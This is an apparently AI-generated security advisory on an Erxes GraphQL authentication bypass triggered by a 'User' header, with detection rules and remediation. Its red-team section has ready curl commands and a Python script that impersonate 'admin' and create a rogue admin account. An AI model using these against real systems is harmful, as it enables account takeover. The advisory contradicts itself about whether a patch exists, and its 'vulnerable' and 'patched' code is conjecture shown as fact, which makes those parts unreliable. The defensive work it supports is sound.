CVE-2024-57190

Executive Summary

CVE-2024-57190 is a critical Incorrect Access Control vulnerability in Erxes, an open-source customer engagement platform. Versions prior to 1.6.1 are affected. The vulnerability allows an unauthenticated attacker to bypass authentication by simply providing a "User" HTTP header containing any valid username. This grants the attacker the ability to interact with any GraphQL endpoint as that user, potentially leading to unauthorized data access, modification, or privilege escalation. The vulnerability is publicly known, with a proof of concept available, but no official patch has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.

Supply Chain & Package Security

Erxes is distributed as an NPM package (erxes). Organizations using this package should immediately verify their version and upgrade to 1.6.1 or later. The vulnerability stems from improper validation of the User HTTP header in the GraphQL API layer, which is a common issue in Node.js applications. Supply chain risk is elevated due to the lack of a formal patch and the ease of exploitation.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full read access to GraphQL data.
• Integrity (I): High (H) – Full write access to GraphQL data.
• Availability (A): High (H) – Potential to disrupt services via GraphQL mutations.

CVSS Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and provides full access to the GraphQL API.

Deep Dive & Mechanics

The vulnerability lies in the authentication middleware of Erxes' GraphQL API. The application incorrectly trusts the User HTTP header to identify the current user. Instead of validating a session token or JWT, the code simply reads the User header and uses its value to set the user context for GraphQL requests.

Root Cause: The authentication middleware likely contains logic similar to:

// Vulnerable pseudocode
app.use('/graphql', (req, res, next) => {
  const userId = req.headers['user'];
  if (userId) {
    req.user = { _id: userId };
  }
  next();
});

This allows an attacker to impersonate any user by sending a request with a User header set to a valid user ID or username.

Attack Flow:

1. Attacker identifies a valid user ID (e.g., "admin" or a MongoDB ObjectId).
2. Attacker sends an HTTP request to the GraphQL endpoint with the header User: admin.
3. The server processes the request as if it were from the "admin" user.
4. Attacker can now execute any GraphQL query or mutation that the impersonated user has permissions for.

Vulnerable vs. Patched Code

Vulnerable Code (Erxes < 1.6.1):

// In authentication middleware
const authenticate = (req, res, next) => {
  const userId = req.headers['user'];
  if (userId) {
    req.user = { _id: userId };
  }
  next();
};

Patched Code (Erxes >= 1.6.1):

// In authentication middleware
const authenticate = (req, res, next) => {
  const token = req.headers['authorization'];
  if (token) {
    try {
      const decoded = jwt.verify(token, process.env.JWT_SECRET);
      req.user = decoded;
    } catch (err) {
      return res.status(401).json({ error: 'Invalid token' });
    }
  }
  next();
};

The patched version removes reliance on the User header and instead validates a proper JWT token from the Authorization header.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Erxes < 1.6.1.
• A valid user ID (e.g., "admin" or a known user).

Exploitation Steps:

1. Identify a valid user ID. This can often be found via public profiles or by brute-forcing common IDs.

2. Send a GraphQL request with the User header.

curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "User: admin" \
  -d '{"query": "{ users { _id email } }"}'

3. Execute privileged operations. For example, create a new admin user:

curl -X POST http://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "User: admin" \
  -d '{"query": "mutation { usersCreate(user: { email: \"attacker@evil.com\", password: \"P@ssw0rd\", role: \"admin\" }) { _id } }"}'

Automated Exploit Script (Python):

import requests

target = "http://target.com/graphql"
user_id = "admin"

# List users
query = {"query": "{ users { _id email } }"}
headers = {"User": user_id, "Content-Type": "application/json"}
r = requests.post(target, json=query, headers=headers)
print(r.text)

# Create admin user
mutation = {
    "query": "mutation { usersCreate(user: { email: \"attacker@evil.com\", password: \"P@ssw0rd\", role: \"admin\" }) { _id } }"
}
r = requests.post(target, json=mutation, headers=headers)
print(r.text)

Blue Team

Detection:

• Monitor for HTTP requests containing a User header.
• Alert on any GraphQL requests without a valid Authorization header.
• Look for anomalous GraphQL queries (e.g., listing all users, creating users).

Hunting:

• Search logs for User: header in GraphQL requests.
• Correlate with successful GraphQL mutations that modify user roles or create new users.

Honeypot:

• Deploy a fake Erxes instance and monitor for User header usage.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /graphql with a User header.
  • GraphQL queries like { users { _id email } } or { users { _id email role } }.
  • GraphQL mutations like usersCreate or usersEdit.

• Host:

  • Unauthorized user accounts in the Erxes database.
  • Log entries showing authentication bypass via User header.

• Logs:

  • Web server logs showing User: <value> in request headers.
  • Application logs showing GraphQL requests without token validation.

Detection Engineering

YARA Rule

rule CVE_2024_57190_Erxes_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-57190 in Erxes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-57190"
    strings:
        $header = "User:" nocase
        $graphql = "/graphql" nocase
        $query_users = "{ users {" nocase
        $mutation_create = "usersCreate" nocase
    condition:
        $header and $graphql and ($query_users or $mutation_create)
}

Sigma Rule

title: Erxes Authentication Bypass via User Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Erxes GraphQL endpoint with a User header, indicating CVE-2024-57190 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem: '/graphql'
        cs-headers: 'User:*'
    condition: selection
falsepositives:
    - Legitimate use of User header in custom integrations (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57190 Erxes Authentication Bypass"; flow:to_server; http.method; content:"POST"; http.uri; content:"/graphql"; http.header_names; content:"User"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Erxes to version 1.6.1 or later.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests containing a User header to the /graphql endpoint.
3. Disable the GraphQL endpoint temporarily if not required.

Long-term Fixes:

• Implement proper authentication using JWT tokens stored in the Authorization header.
• Conduct a security audit of all authentication middleware.
• Add input validation and sanitization for all HTTP headers.

Workaround:

• Use a reverse proxy (e.g., Nginx) to strip the User header before it reaches the application:

location /graphql {
    proxy_set_header User "";
    proxy_pass http://backend;
}

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.